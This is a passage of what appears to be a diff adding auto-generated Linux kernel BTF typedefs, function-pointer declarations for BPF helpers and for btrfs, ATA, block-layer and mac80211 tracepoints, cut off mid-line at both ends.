(*btf_bpf_ktime_get_boot_ns)(void); + +typedef u64 (*btf_bpf_ktime_get_coarse_ns)(void); + +typedef u64 (*btf_bpf_ktime_get_ns)(void); + +typedef u64 (*btf_bpf_ktime_get_tai_ns)(void); + +typedef u64 (*btf_bpf_l3_csum_replace)(struct sk_buff *, u32, u64, u64, u64); + +typedef u64 (*btf_bpf_l4_csum_replace)(struct sk_buff *, u32, u64, u64, u64); + +typedef u64 (*btf_bpf_loop)(u32, void *, void *, u64); + +typedef u64 (*btf_bpf_lwt_in_push_encap)(struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_lwt_xmit_push_encap)(struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_map_delete_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_lookup_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_lookup_percpu_elem)(struct bpf_map *, void *, u32); + +typedef u64 (*btf_bpf_map_peek_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_pop_elem)(struct bpf_map *, void *); + +typedef u64 (*btf_bpf_map_push_elem)(struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_map_update_elem)(struct bpf_map *, void *, void *, u64); + +typedef u64 (*btf_bpf_msg_apply_bytes)(struct sk_msg *, u32); + +typedef u64 (*btf_bpf_msg_cork_bytes)(struct sk_msg *, u32); + +typedef u64 (*btf_bpf_msg_pop_data)(struct sk_msg *, u32, u32, u64); + +typedef u64 (*btf_bpf_msg_pull_data)(struct sk_msg *, u32, u32, u64); + +typedef u64 (*btf_bpf_msg_push_data)(struct sk_msg *, u32, u32, u64); + +typedef u64 (*btf_bpf_msg_redirect_hash)(struct sk_msg *, struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_msg_redirect_map)(struct sk_msg *, struct bpf_map *, u32, u64); + +typedef u64 (*btf_bpf_override_return)(struct pt_regs *, unsigned long); + +typedef u64 (*btf_bpf_per_cpu_ptr)(const void *, u32); + +typedef u64 (*btf_bpf_perf_event_output)(struct pt_regs *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_perf_event_output_raw_tp)(struct bpf_raw_tracepoint_args *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_perf_event_output_tp)(void *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_perf_event_read)(struct bpf_map *, u64); + +typedef u64 (*btf_bpf_perf_event_read_value)(struct bpf_map *, u64, struct bpf_perf_event_value *, u32); + +typedef u64 (*btf_bpf_perf_prog_read_value)(struct bpf_perf_event_data_kern *, struct bpf_perf_event_value *, u32); + +typedef u64 (*btf_bpf_probe_read_compat)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_compat_str)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_kernel)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_kernel_str)(void *, u32, const void *); + +typedef u64 (*btf_bpf_probe_read_user)(void *, u32, const void __attribute__((btf_type_tag("user"))) *); + +typedef u64 (*btf_bpf_probe_read_user_str)(void *, u32, const void __attribute__((btf_type_tag("user"))) *); + +typedef u64 (*btf_bpf_probe_write_user)(void __attribute__((btf_type_tag("user"))) *, const void *, u32); + +typedef u64 (*btf_bpf_read_branch_records)(struct bpf_perf_event_data_kern *, void *, u32, u64); + +typedef u64 (*btf_bpf_redirect)(u32, u64); + +typedef u64 (*btf_bpf_redirect_neigh)(u32, struct bpf_redir_neigh *, int, u64); + +typedef u64 (*btf_bpf_redirect_peer)(u32, u64); + +typedef u64 (*btf_bpf_ringbuf_discard)(void *, u64); + +typedef u64 (*btf_bpf_ringbuf_discard_dynptr)(struct bpf_dynptr_kern *, u64); + +typedef u64 (*btf_bpf_ringbuf_output)(struct bpf_map *, void *, u64, u64); + +typedef u64 (*btf_bpf_ringbuf_query)(struct bpf_map *, u64); + +typedef u64 (*btf_bpf_ringbuf_reserve)(struct bpf_map *, u64, u64); + +typedef u64 (*btf_bpf_ringbuf_reserve_dynptr)(struct bpf_map *, u32, u64, struct bpf_dynptr_kern *); + +typedef u64 (*btf_bpf_ringbuf_submit)(void *, u64); + +typedef u64 (*btf_bpf_ringbuf_submit_dynptr)(struct bpf_dynptr_kern *, u64); + +typedef u64 (*btf_bpf_send_signal)(u32); + +typedef u64 (*btf_bpf_send_signal_thread)(u32); + +typedef u64 (*btf_bpf_seq_printf)(struct seq_file *, char *, u32, const void *, u32); + +typedef u64 (*btf_bpf_seq_printf_btf)(struct seq_file *, struct btf_ptr *, u32, u64); + +typedef u64 (*btf_bpf_seq_write)(struct seq_file *, const void *, u32); + +typedef u64 (*btf_bpf_set_hash)(struct sk_buff *, u32); + +typedef u64 (*btf_bpf_set_hash_invalid)(struct sk_buff *); + +typedef u64 (*btf_bpf_set_retval)(int); + +typedef u64 (*btf_bpf_sk_ancestor_cgroup_id)(struct sock *, int); + +typedef u64 (*btf_bpf_sk_assign)(struct sk_buff *, struct sock *, u64); + +typedef u64 (*btf_bpf_sk_cgroup_id)(struct sock *); + +typedef u64 (*btf_bpf_sk_fullsock)(struct sock *); + +typedef u64 (*btf_bpf_sk_getsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_sk_lookup_assign)(struct bpf_sk_lookup_kern *, struct sock *, u64); + +typedef u64 (*btf_bpf_sk_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sk_lookup_udp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sk_redirect_hash)(struct sk_buff *, struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_sk_redirect_map)(struct sk_buff *, struct bpf_map *, u32, u64); + +typedef u64 (*btf_bpf_sk_release)(struct sock *); + +typedef u64 (*btf_bpf_sk_setsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_sk_storage_delete)(struct bpf_map *, struct sock *); + +typedef u64 (*btf_bpf_sk_storage_delete_tracing)(struct bpf_map *, struct sock *); + +typedef u64 (*btf_bpf_sk_storage_get)(struct bpf_map *, struct sock *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_sk_storage_get_tracing)(struct bpf_map *, struct sock *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_skb_adjust_room)(struct sk_buff *, s32, u32, u64); + +typedef u64 (*btf_bpf_skb_ancestor_cgroup_id)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_skb_cgroup_classid)(const struct sk_buff *); + +typedef u64 (*btf_bpf_skb_cgroup_id)(const struct sk_buff *); + +typedef u64 (*btf_bpf_skb_change_head)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_bpf_skb_change_proto)(struct sk_buff *, __be16, u64); + +typedef u64 (*btf_bpf_skb_change_tail)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_bpf_skb_change_type)(struct sk_buff *, u32); + +typedef u64 (*btf_bpf_skb_check_mtu)(struct sk_buff *, u32, u32 *, s32, u64); + +typedef u64 (*btf_bpf_skb_ecn_set_ce)(struct sk_buff *); + +typedef u64 (*btf_bpf_skb_event_output)(struct sk_buff *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_skb_fib_lookup)(struct sk_buff *, struct bpf_fib_lookup *, int, u32); + +typedef u64 (*btf_bpf_skb_get_nlattr)(struct sk_buff *, u32, u32); + +typedef u64 (*btf_bpf_skb_get_nlattr_nest)(struct sk_buff *, u32, u32); + +typedef u64 (*btf_bpf_skb_get_pay_offset)(struct sk_buff *); + +typedef u64 (*btf_bpf_skb_get_tunnel_key)(struct sk_buff *, struct bpf_tunnel_key *, u32, u64); + +typedef u64 (*btf_bpf_skb_get_tunnel_opt)(struct sk_buff *, u8 *, u32); + +typedef u64 (*btf_bpf_skb_load_bytes)(const struct sk_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_skb_load_bytes_relative)(const struct sk_buff *, u32, void *, u32, u32); + +typedef u64 (*btf_bpf_skb_load_helper_16)(const struct sk_buff *, const void *, int, int); + +typedef u64 (*btf_bpf_skb_load_helper_16_no_cache)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_skb_load_helper_32)(const struct sk_buff *, const void *, int, int); + +typedef u64 (*btf_bpf_skb_load_helper_32_no_cache)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_skb_load_helper_8)(const struct sk_buff *, const void *, int, int); + +typedef u64 (*btf_bpf_skb_load_helper_8_no_cache)(const struct sk_buff *, int); + +typedef u64 (*btf_bpf_skb_pull_data)(struct sk_buff *, u32); + +typedef u64 (*btf_bpf_skb_set_tstamp)(struct sk_buff *, u64, u32); + +typedef u64 (*btf_bpf_skb_set_tunnel_key)(struct sk_buff *, const struct bpf_tunnel_key *, u32, u64); + +typedef u64 (*btf_bpf_skb_set_tunnel_opt)(struct sk_buff *, const u8 *, u32); + +typedef u64 (*btf_bpf_skb_store_bytes)(struct sk_buff *, u32, const void *, u32, u64); + +typedef u64 (*btf_bpf_skb_under_cgroup)(struct sk_buff *, struct bpf_map *, u32); + +typedef u64 (*btf_bpf_skb_vlan_pop)(struct sk_buff *); + +typedef u64 (*btf_bpf_skb_vlan_push)(struct sk_buff *, __be16, u16); + +typedef u64 (*btf_bpf_skc_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_skc_to_mptcp_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp6_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp_request_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_tcp_timewait_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_udp6_sock)(struct sock *); + +typedef u64 (*btf_bpf_skc_to_unix_sock)(struct sock *); + +typedef u64 (*btf_bpf_snprintf)(char *, u32, char *, const void *, u32); + +typedef u64 (*btf_bpf_snprintf_btf)(char *, u32, struct btf_ptr *, u32, u64); + +typedef u64 (*btf_bpf_sock_addr_getsockopt)(struct bpf_sock_addr_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_addr_setsockopt)(struct bpf_sock_addr_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_addr_sk_lookup_tcp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sock_addr_sk_lookup_udp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sock_addr_skc_lookup_tcp)(struct bpf_sock_addr_kern *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_sock_from_file)(struct file *); + +typedef u64 (*btf_bpf_sock_hash_update)(struct bpf_sock_ops_kern *, struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_sock_map_update)(struct bpf_sock_ops_kern *, struct bpf_map *, void *, u64); + +typedef u64 (*btf_bpf_sock_ops_cb_flags_set)(struct bpf_sock_ops_kern *, int); + +typedef u64 (*btf_bpf_sock_ops_getsockopt)(struct bpf_sock_ops_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_ops_load_hdr_opt)(struct bpf_sock_ops_kern *, void *, u32, u64); + +typedef u64 (*btf_bpf_sock_ops_reserve_hdr_opt)(struct bpf_sock_ops_kern *, u32, u64); + +typedef u64 (*btf_bpf_sock_ops_setsockopt)(struct bpf_sock_ops_kern *, int, int, char *, int); + +typedef u64 (*btf_bpf_sock_ops_store_hdr_opt)(struct bpf_sock_ops_kern *, const void *, u32, u64); + +typedef u64 (*btf_bpf_spin_lock)(struct bpf_spin_lock *); + +typedef u64 (*btf_bpf_spin_unlock)(struct bpf_spin_lock *); + +typedef u64 (*btf_bpf_strncmp)(const char *, u32, const char *); + +typedef u64 (*btf_bpf_strtol)(const char *, size_t, u64, s64 *); + +typedef u64 (*btf_bpf_strtoul)(const char *, size_t, u64, u64 *); + +typedef u64 (*btf_bpf_sys_bpf)(int, union bpf_attr *, u32); + +typedef u64 (*btf_bpf_sys_close)(u32); + +typedef u64 (*btf_bpf_sysctl_get_current_value)(struct bpf_sysctl_kern *, char *, size_t); + +typedef u64 (*btf_bpf_sysctl_get_name)(struct bpf_sysctl_kern *, char *, size_t, u64); + +typedef u64 (*btf_bpf_sysctl_get_new_value)(struct bpf_sysctl_kern *, char *, size_t); + +typedef u64 (*btf_bpf_sysctl_set_new_value)(struct bpf_sysctl_kern *, const char *, size_t); + +typedef u64 (*btf_bpf_task_pt_regs)(struct task_struct *); + +typedef u64 (*btf_bpf_task_storage_delete)(struct bpf_map *, struct task_struct *); + +typedef u64 (*btf_bpf_task_storage_delete_recur)(struct bpf_map *, struct task_struct *); + +typedef u64 (*btf_bpf_task_storage_get)(struct bpf_map *, struct task_struct *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_task_storage_get_recur)(struct bpf_map *, struct task_struct *, void *, u64, gfp_t); + +typedef u64 (*btf_bpf_tc_sk_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_tc_sk_lookup_udp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_tc_skc_lookup_tcp)(struct sk_buff *, struct bpf_sock_tuple *, u32, u64, u64); + +typedef u64 (*btf_bpf_tcp_check_syncookie)(struct sock *, void *, u32, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_gen_syncookie)(struct sock *, void *, u32, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_raw_check_syncookie_ipv4)(struct iphdr *, struct tcphdr *); + +typedef u64 (*btf_bpf_tcp_raw_check_syncookie_ipv6)(struct ipv6hdr *, struct tcphdr *); + +typedef u64 (*btf_bpf_tcp_raw_gen_syncookie_ipv4)(struct iphdr *, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_raw_gen_syncookie_ipv6)(struct ipv6hdr *, struct tcphdr *, u32); + +typedef u64 (*btf_bpf_tcp_send_ack)(struct tcp_sock *, u32); + +typedef u64 (*btf_bpf_tcp_sock)(struct sock *); + +typedef u64 (*btf_bpf_this_cpu_ptr)(const void *); + +typedef u64 (*btf_bpf_timer_cancel)(struct bpf_async_kern *); + +typedef u64 (*btf_bpf_timer_init)(struct bpf_async_kern *, struct bpf_map *, u64); + +typedef u64 (*btf_bpf_timer_set_callback)(struct bpf_async_kern *, void *, struct bpf_prog_aux *); + +typedef u64 (*btf_bpf_timer_start)(struct bpf_async_kern *, u64, u64); + +typedef u64 (*btf_bpf_trace_printk)(char *, u32, u64, u64, u64); + +typedef u64 (*btf_bpf_trace_vprintk)(char *, u32, const void *, u32); + +typedef u64 (*btf_bpf_unlocked_sk_getsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_unlocked_sk_setsockopt)(struct sock *, int, int, char *, int); + +typedef u64 (*btf_bpf_user_ringbuf_drain)(struct bpf_map *, void *, void *, u64); + +typedef u64 (*btf_bpf_user_rnd_u32)(void); + +typedef u64 (*btf_bpf_xdp_adjust_head)(struct xdp_buff *, int); + +typedef u64 (*btf_bpf_xdp_adjust_meta)(struct xdp_buff *, int); + +typedef u64 (*btf_bpf_xdp_adjust_tail)(struct xdp_buff *, int); + +typedef u64 (*btf_bpf_xdp_check_mtu)(struct xdp_buff *, u32, u32 *, s32, u64); + +typedef u64 (*btf_bpf_xdp_event_output)(struct xdp_buff *, struct bpf_map *, u64, void *, u64); + +typedef u64 (*btf_bpf_xdp_fib_lookup)(struct xdp_buff *, struct bpf_fib_lookup *, int, u32); + +typedef u64 (*btf_bpf_xdp_get_buff_len)(struct xdp_buff *); + +typedef u64 (*btf_bpf_xdp_load_bytes)(struct xdp_buff *, u32, void *, u32); + +typedef u64 (*btf_bpf_xdp_redirect)(u32, u64); + +typedef u64 (*btf_bpf_xdp_redirect_map)(struct bpf_map *, u64, u64); + +typedef u64 (*btf_bpf_xdp_sk_lookup_tcp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); + +typedef u64 (*btf_bpf_xdp_sk_lookup_udp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); + +typedef u64 (*btf_bpf_xdp_skc_lookup_tcp)(struct xdp_buff *, struct bpf_sock_tuple *, u32, u32, u64); + +typedef u64 (*btf_bpf_xdp_store_bytes)(struct xdp_buff *, u32, void *, u32); + +typedef u64 (*btf_get_func_arg)(void *, u32, u64 *); + +typedef u64 (*btf_get_func_arg_cnt)(void *); + +typedef u64 (*btf_get_func_ret)(void *, u64 *); + +typedef u64 (*btf_sk_reuseport_load_bytes)(const struct sk_reuseport_kern *, u32, void *, u32); + +typedef u64 (*btf_sk_reuseport_load_bytes_relative)(const struct sk_reuseport_kern *, u32, void *, u32, u32); + +typedef u64 (*btf_sk_select_reuseport)(struct sk_reuseport_kern *, struct bpf_map *, void *, u32); + +typedef u64 (*btf_sk_skb_adjust_room)(struct sk_buff *, s32, u32, u64); + +typedef u64 (*btf_sk_skb_change_head)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_sk_skb_change_tail)(struct sk_buff *, u32, u64); + +typedef u64 (*btf_sk_skb_pull_data)(struct sk_buff *, u32); + +typedef void (*btf_trace_add_delayed_data_ref)(void *, const struct btrfs_fs_info *, const struct btrfs_delayed_ref_node *); + +typedef void (*btf_trace_add_delayed_ref_head)(void *, const struct btrfs_fs_info *, const struct btrfs_delayed_ref_head *, int); + +typedef void (*btf_trace_add_delayed_tree_ref)(void *, const struct btrfs_fs_info *, const struct btrfs_delayed_ref_node *); + +typedef void (*btf_trace_alarmtimer_cancel)(void *, struct alarm *, ktime_t); + +typedef void (*btf_trace_alarmtimer_fired)(void *, struct alarm *, ktime_t); + +typedef void (*btf_trace_alarmtimer_start)(void *, struct alarm *, ktime_t); + +typedef void (*btf_trace_alarmtimer_suspend)(void *, ktime_t, int); + +typedef void (*btf_trace_alloc_extent_state)(void *, const struct extent_state *, gfp_t, unsigned long); + +typedef void (*btf_trace_alloc_vmap_area)(void *, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, int); + +typedef void (*btf_trace_amd_pstate_perf)(void *, unsigned long, unsigned long, unsigned long, u64, u64, u64, u64, unsigned int, bool, bool); + +typedef void (*btf_trace_api_beacon_loss)(void *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_api_chswitch_done)(void *, struct ieee80211_sub_if_data *, bool, unsigned int); + +typedef void (*btf_trace_api_connection_loss)(void *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_api_cqm_beacon_loss_notify)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *); + +typedef void (*btf_trace_api_cqm_rssi_notify)(void *, struct ieee80211_sub_if_data *, enum nl80211_cqm_rssi_threshold_event, s32); + +typedef void (*btf_trace_api_disconnect)(void *, struct ieee80211_sub_if_data *, bool); + +typedef void (*btf_trace_api_enable_rssi_reports)(void *, struct ieee80211_sub_if_data *, int, int); + +typedef void (*btf_trace_api_eosp)(void *, struct ieee80211_local *, struct ieee80211_sta *); + +typedef void (*btf_trace_api_gtk_rekey_notify)(void *, struct ieee80211_sub_if_data *, const u8 *, const u8 *); + +typedef void (*btf_trace_api_radar_detected)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_api_ready_on_channel)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_api_remain_on_channel_expired)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_api_request_smps)(void *, struct ieee80211_local *, struct ieee80211_sub_if_data *, struct ieee80211_link_data *, enum ieee80211_smps_mode); + +typedef void (*btf_trace_api_restart_hw)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_api_scan_completed)(void *, struct ieee80211_local *, bool); + +typedef void (*btf_trace_api_sched_scan_results)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_api_sched_scan_stopped)(void *, struct ieee80211_local *); + +typedef void (*btf_trace_api_send_eosp_nullfunc)(void *, struct ieee80211_local *, struct ieee80211_sta *, u8); + +typedef void (*btf_trace_api_sta_block_awake)(void *, struct ieee80211_local *, struct ieee80211_sta *, bool); + +typedef void (*btf_trace_api_sta_set_buffered)(void *, struct ieee80211_local *, struct ieee80211_sta *, u8, bool); + +typedef void (*btf_trace_api_start_tx_ba_cb)(void *, struct ieee80211_sub_if_data *, const u8 *, u16); + +typedef void (*btf_trace_api_start_tx_ba_session)(void *, struct ieee80211_sta *, u16); + +typedef void (*btf_trace_api_stop_tx_ba_cb)(void *, struct ieee80211_sub_if_data *, const u8 *, u16); + +typedef void (*btf_trace_api_stop_tx_ba_session)(void *, struct ieee80211_sta *, u16); + +typedef void (*btf_trace_ata_bmdma_setup)(void *, struct ata_port *, const struct ata_taskfile *, unsigned int); + +typedef void (*btf_trace_ata_bmdma_start)(void *, struct ata_port *, const struct ata_taskfile *, unsigned int); + +typedef void (*btf_trace_ata_bmdma_status)(void *, struct ata_port *, unsigned int); + +typedef void (*btf_trace_ata_bmdma_stop)(void *, struct ata_port *, const struct ata_taskfile *, unsigned int); + +typedef void (*btf_trace_ata_eh_about_to_do)(void *, struct ata_link *, unsigned int, unsigned int); + +typedef void (*btf_trace_ata_eh_done)(void *, struct ata_link *, unsigned int, unsigned int); + +typedef void (*btf_trace_ata_eh_link_autopsy)(void *, struct ata_device *, unsigned int, unsigned int); + +typedef void (*btf_trace_ata_eh_link_autopsy_qc)(void *, struct ata_queued_cmd *); + +typedef void (*btf_trace_ata_exec_command)(void *, struct ata_port *, const struct ata_taskfile *, unsigned int); + +typedef void (*btf_trace_ata_link_hardreset_begin)(void *, struct ata_link *, unsigned int *, unsigned long); + +typedef void (*btf_trace_ata_link_hardreset_end)(void *, struct ata_link *, unsigned int *, int); + +typedef void (*btf_trace_ata_link_postreset)(void *, struct ata_link *, unsigned int *, int); + +typedef void (*btf_trace_ata_link_softreset_begin)(void *, struct ata_link *, unsigned int *, unsigned long); + +typedef void (*btf_trace_ata_link_softreset_end)(void *, struct ata_link *, unsigned int *, int); + +typedef void (*btf_trace_ata_port_freeze)(void *, struct ata_port *); + +typedef void (*btf_trace_ata_port_thaw)(void *, struct ata_port *); + +typedef void (*btf_trace_ata_qc_complete_done)(void *, struct ata_queued_cmd *); + +typedef void (*btf_trace_ata_qc_complete_failed)(void *, struct ata_queued_cmd *); + +typedef void (*btf_trace_ata_qc_complete_internal)(void *, struct ata_queued_cmd *); + +typedef void (*btf_trace_ata_qc_issue)(void *, struct ata_queued_cmd *); + +typedef void (*btf_trace_ata_qc_prep)(void *, struct ata_queued_cmd *); + +typedef void (*btf_trace_ata_sff_flush_pio_task)(void *, struct ata_port *); + +typedef void (*btf_trace_ata_sff_hsm_command_complete)(void *, struct ata_queued_cmd *, unsigned char); + +typedef void (*btf_trace_ata_sff_hsm_state)(void *, struct ata_queued_cmd *, unsigned char); + +typedef void (*btf_trace_ata_sff_pio_transfer_data)(void *, struct ata_queued_cmd *, unsigned int, unsigned int); + +typedef void (*btf_trace_ata_sff_port_intr)(void *, struct ata_queued_cmd *, unsigned char); + +typedef void (*btf_trace_ata_slave_hardreset_begin)(void *, struct ata_link *, unsigned int *, unsigned long); + +typedef void (*btf_trace_ata_slave_hardreset_end)(void *, struct ata_link *, unsigned int *, int); + +typedef void (*btf_trace_ata_slave_postreset)(void *, struct ata_link *, unsigned int *, int); + +typedef void (*btf_trace_ata_std_sched_eh)(void *, struct ata_port *); + +typedef void (*btf_trace_ata_tf_load)(void *, struct ata_port *, const struct ata_taskfile *); + +typedef void (*btf_trace_atapi_pio_transfer_data)(void *, struct ata_queued_cmd *, unsigned int, unsigned int); + +typedef void (*btf_trace_atapi_send_cdb)(void *, struct ata_queued_cmd *, unsigned int, unsigned int); + +typedef void (*btf_trace_balance_dirty_pages)(void *, struct bdi_writeback *, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, unsigned long, long, unsigned long); + +typedef void (*btf_trace_bdi_dirty_ratelimit)(void *, struct bdi_writeback *, unsigned long, unsigned long); + +typedef void (*btf_trace_benchmark_event)(void *, const char *, u64); + +typedef void (*btf_trace_block_bio_backmerge)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_bounce)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_complete)(void *, struct request_queue *, struct bio *); + +typedef void (*btf_trace_block_bio_frontmerge)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_queue)(void *, struct bio *); + +typedef void (*btf_trace_block_bio_remap)(void *, struct bio *, dev_t, sector_t); + +typedef void (*btf_trace_block_dirty_buffer)(void *, struct buffer_head *); + +typedef void (*btf_trace_block_getrq)(void *, struct bio *); + +typedef void (*btf_trace_block_io_done)(void *, struct request *); + +typedef void (*btf_trace_block_io_start)(void *, struct request *); + +typedef void (*btf_trace_block_plug)(void *, struct request_queue *); + +typedef void (*btf_trace_block_rq_complete)(void *, struct request *, blk_status_t, unsigned int); + +typedef void (*btf_trace_block_rq_error)(void *, struct request *, blk_status_t, unsigned int); + +typedef void (*btf_trace_block_rq_insert)(void *, struct request *); + +typedef void (*btf_trace_block_rq_issue)(void *, struct request *); + +typedef void (*btf_trace_block_rq_merge)(void *, struct request *); + +typedef void (*btf_trace_block_rq_remap)(void *, struct request *, dev_t, sector_t); + +typedef void (*btf_trace_block_rq_requeue)(void *, struct request *); + +typedef void (*btf_trace_block_split)(void *, struct bio *, unsigned int); + +typedef void (*btf_trace_block_touch_buffer)(void *, struct buffer_head *); + +typedef void (*btf_trace_block_unplug)(void *, struct request_queue *, unsigned int, bool); + +typedef void (*btf_trace_bpf_test_finish)(void *, int *); + +typedef void (*btf_trace_bpf_trace_printk)(void *, const char *); + +typedef void (*btf_trace_bpf_trigger_tp)(void *, int); + +typedef void (*btf_trace_bpf_xdp_link_attach_failed)(void *, const char *); + +typedef void (*btf_trace_br_fdb_add)(void *, struct ndmsg *, struct net_device *, const unsigned char *, u16, u16); + +typedef void (*btf_trace_br_fdb_external_learn_add)(void *, struct net_bridge *, struct net_bridge_port *, const unsigned char *, u16); + +typedef void (*btf_trace_br_fdb_update)(void *, struct net_bridge *, struct net_bridge_port *, const unsigned char *, u16, unsigned long); + +typedef void (*btf_trace_br_mdb_full)(void *, const struct net_device *, const struct br_ip *); + +typedef void (*btf_trace_break_lease_block)(void *, struct inode *, struct file_lease *); + +typedef void (*btf_trace_break_lease_noblock)(void *, struct inode *, struct file_lease *); + +typedef void (*btf_trace_break_lease_unblock)(void *, struct inode *, struct file_lease *); + +typedef void (*btf_trace_btrfs_add_block_group)(void *, const struct btrfs_fs_info *, const struct btrfs_block_group *, int); + +typedef void (*btf_trace_btrfs_add_reclaim_block_group)(void *, const struct btrfs_block_group *); + +typedef void (*btf_trace_btrfs_add_unused_block_group)(void *, const struct btrfs_block_group *); + +typedef void (*btf_trace_btrfs_all_work_done)(void *, const struct btrfs_fs_info *, const void *); + +typedef void (*btf_trace_btrfs_chunk_alloc)(void *, const struct btrfs_fs_info *, const struct btrfs_chunk_map *, u64, u64); + +typedef void (*btf_trace_btrfs_chunk_free)(void *, const struct btrfs_fs_info *, const struct btrfs_chunk_map *, u64, u64); + +typedef void (*btf_trace_btrfs_clear_extent_bit)(void *, const struct extent_io_tree *, u64, u64, unsigned int); + +typedef void (*btf_trace_btrfs_convert_extent_bit)(void *, const struct extent_io_tree *, u64, u64, unsigned int, unsigned int); + +typedef void (*btf_trace_btrfs_cow_block)(void *, const struct btrfs_root *, const struct extent_buffer *, const struct extent_buffer *); + +typedef void (*btf_trace_btrfs_done_preemptive_reclaim)(void *, struct btrfs_fs_info *, const struct btrfs_space_info *); + +typedef void (*btf_trace_btrfs_extent_map_shrinker_count)(void *, const struct btrfs_fs_info *, long); + +typedef void (*btf_trace_btrfs_extent_map_shrinker_remove_em)(void *, const struct btrfs_inode *, const struct extent_map *); + +typedef void (*btf_trace_btrfs_extent_map_shrinker_scan_enter)(void *, const struct btrfs_fs_info *, long, long, u64, u64); + +typedef void (*btf_trace_btrfs_extent_map_shrinker_scan_exit)(void *, const struct btrfs_fs_info *, long, long, u64, u64); + +typedef void (*btf_trace_btrfs_fail_all_tickets)(void *, struct btrfs_fs_info *, const struct btrfs_space_info *); + +typedef void (*btf_trace_btrfs_failed_cluster_setup)(void *, const struct btrfs_block_group *); + +typedef void (*btf_trace_btrfs_find_cluster)(void *, const struct btrfs_block_group *, u64, u64, u64, u64); + +typedef void (*btf_trace_btrfs_finish_ordered_extent)(void *, const struct btrfs_inode *, u64, u64, bool); + +typedef void (*btf_trace_btrfs_flush_space)(void *, const struct btrfs_fs_info *, u64, u64, int, int, bool); + +typedef void (*btf_trace_btrfs_get_extent)(void *, const struct btrfs_root *, const struct btrfs_inode *, const struct extent_map *); + +typedef void (*btf_trace_btrfs_get_extent_show_fi_inline)(void *, const struct btrfs_inode *, const struct extent_buffer *, const struct btrfs_file_extent_item *, int, u64); + +typedef void (*btf_trace_btrfs_get_extent_show_fi_regular)(void *, const struct btrfs_inode *, const struct extent_buffer *, const struct btrfs_file_extent_item *, u64); + +typedef void (*btf_trace_btrfs_get_raid_extent_offset)(void *, const struct btrfs_fs_info *, u64, u64, u64, u64); + +typedef void (*btf_trace_btrfs_handle_em_exist)(void *, const struct btrfs_fs_info *, const struct extent_map *, const struct extent_map *, u64, u64); + +typedef void (*btf_trace_btrfs_inode_evict)(void *, const struct inode *); + +typedef void (*btf_trace_btrfs_inode_mod_outstanding_extents)(void *, const struct btrfs_root *, u64, int, unsigned int); + +typedef void (*btf_trace_btrfs_inode_new)(void *, const struct inode *); + +typedef void (*btf_trace_btrfs_inode_request)(void *, const struct 